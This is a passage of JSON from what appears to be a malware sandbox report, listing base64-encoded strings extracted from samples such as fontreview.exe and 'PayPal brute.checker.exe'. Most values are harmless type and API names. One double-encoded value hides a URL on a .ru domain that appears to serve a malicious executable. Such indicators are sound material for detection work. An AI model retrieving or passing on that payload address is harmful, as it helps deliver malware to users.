File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUlkZW50aWZpZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUltcG9ydGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUluZm8=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUluaXRpYWxpemVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUluc3RhbmNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUludGVyY2VwdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUludGVycHJldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUludm9jYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZU1hcA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZU1hcHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZU1hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZU1lc3NhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZU1ldGhvZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZU1vY2s=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZU1vZGVs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZU9yZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVBhcmFt","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVBhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVBhcnNlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVBvb2w=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVByZWRpY2F0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVByaW50ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVByb2NjZXNvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVByb2Nlc3M=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVByb2R1Y2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVByb2R1Y3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVByb3h5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVF1ZXVl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJlYWRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJlY29yZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJlZg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJlZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJlZ2lzdHJ5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJlc29sdmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJ1bGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVJ1bGVz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVNlcmlhbGl6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVNlcnZlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVNldHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVNpbmdsZXRvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVNwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVN0YXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVN0YXR1cw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVN0cmF0ZWd5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVN0dWI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVRhZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVRhc2s=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVRlbXBsYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVRlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVRlc3Rz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVRocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVRva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVV0aWxz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVZhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVZhbHVl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVZpc2l0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVdhdGNoZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVdyYXBwZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZVdyaXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkR2xvYmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkSGFuZGxlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkSGVscGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkSWRlbnRpZmllcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkSW1wb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkSW5kZXhlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkSW5pdGlhbGl6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkSW50ZXJjZXB0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkSW50ZXJwcmV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkSW52b2NhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkSXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkSXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkaXRpb25hbCBjb2xvcnM6","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QWRkTGlzdGVuZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkTWFwcGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkTWVyY2hhbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkTWVzc2FnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkT2JqZWN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkT2JzZXJ2ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkUGFyYW1z","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkUHJlZGljYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkUHJpbnRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkUHJvY2Nlc29y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkUHJvY2Vzcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkUHJvZHVjZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkUHJvZHVjdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkUHJvdG90eXBl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkckNvbmZpZ0NvbnRyb2w=","type":"Unicode","source":"Runtime Data","process":"fontreview.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWRkUmVhZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkUmVnaXN0cnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkUmVzb2x2ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkcmVzc0ZhbWlseQ==","type":"Unicode","source":"Runtime Data","process":"PayPal.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWRkck9mUGlubmVkT2JqZWN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkU2Vjb25kcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkU2VyaWFsaXplcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkU2VydmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkU2V0dGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkU2luZ2xldG9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkU3RhdHVz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkU3RyYXRlZ3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkU3RydWN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkVG9rZW5pemVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkVmlzaXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkV2F0Y2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkV3JhcHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkV3JpdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRqdXN0VG9rZW5Qcml2aWxlZ2Vz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"QWRqdXN0V2luZG93UmVjdEV4","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QWRtaW5UYWJQcm9jcw==","type":"Unicode","source":"Runtime Data","process":"PayPal.scr","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWRvYmUgUXVpa0luc3RhbGw=","type":"Ansi","source":"Dropped File","process":null,"filename":"regedit.exe.3528140644","compromised":null,"detection_total":null,"total":null},{"value":"YWR2YXBpMzIuZGxs","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QURWQVBJMzIuZGxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"YWR2aXNvckJhc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWR2aXNvckNsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWR2aXNvckNvbmZpZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWR2aXNvckVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWR2aXNvckZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWR2aXNvckdsb2JhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWR2aXNvckl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWR2aXNvckl0ZXJhdG9yV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWR2aXNvck1hcEZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWR2aXNvck1hcHBpbmdgMQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWR2aXNvclBhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWR2aXNvclBhcmFtZXRlckZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWR2aXNvclBvbGljeVJlY29yZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWR2aXNvclJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWR2aXNvclJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWR2aXNvclJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWR2aXNvclNwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWR2aXNvclN0dWI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWR2aXNvclRhZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWR2aXNvclRlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWVzQ3J5cHRvU2VydmljZVByb3ZpZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QUZvcmdlLlZpZGVvLkRpcmVjdFNob3cuUHJvcGVydGllcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWdJMDt3cD1b","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"YUhSMGNEb3ZMM054Ykc4MGEyRXVjblV2UkVOU1V5OWtjMjlqYXk5a1ptVXlNbVF4TlRJNFpUbGpNRGRtTldVNE1tUTBNMlZoT1dZMVpETmtOV1EzWkRNek5qZzBMbVY0WlE9PQ==","type":"Ansi","source":"Runtime Data","process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YWxGaWxlbmFtZQ==","type":"Unicode","source":"Memory/File Scan","process":"e6ee5674bb9446c78bbc5729af6e2c28.exe","filename":"00101297-00001072.00000000.101577.00A14000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QWxnb0RlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWxnb0ZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWxnb0l0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWxnb01hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWxnb1BhcmFtZXRlckNvbnN1bWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWxnb1BvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWxnb1JlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWxnb1JlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWxnb1JlcXVlc3RFbnRyeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWxnb1NjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWxnb1NjaGVtYUNsYXNz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWxnb1NwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWxnb1NwZWNpZmljYXRpb25MaXN0ZW5lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWxnb1dvcmtlckRlZg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWxpYXMgUGxheU1l","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QWxsIHNhbXBsZXMgaW5kZXBlbmRlbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QUxMQUREUkVTUw==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QUxMQkFDS0ZSRUU=","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QWxsb2NhdGVBbmRJbml0aWFsaXplU2lk","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QWxsb2NDb25zb2xl","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QWxsb2NDb1Rhc2tNZW0=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWxsb2NIR2xvYmFs","type":"Ansi","source":"Dropped 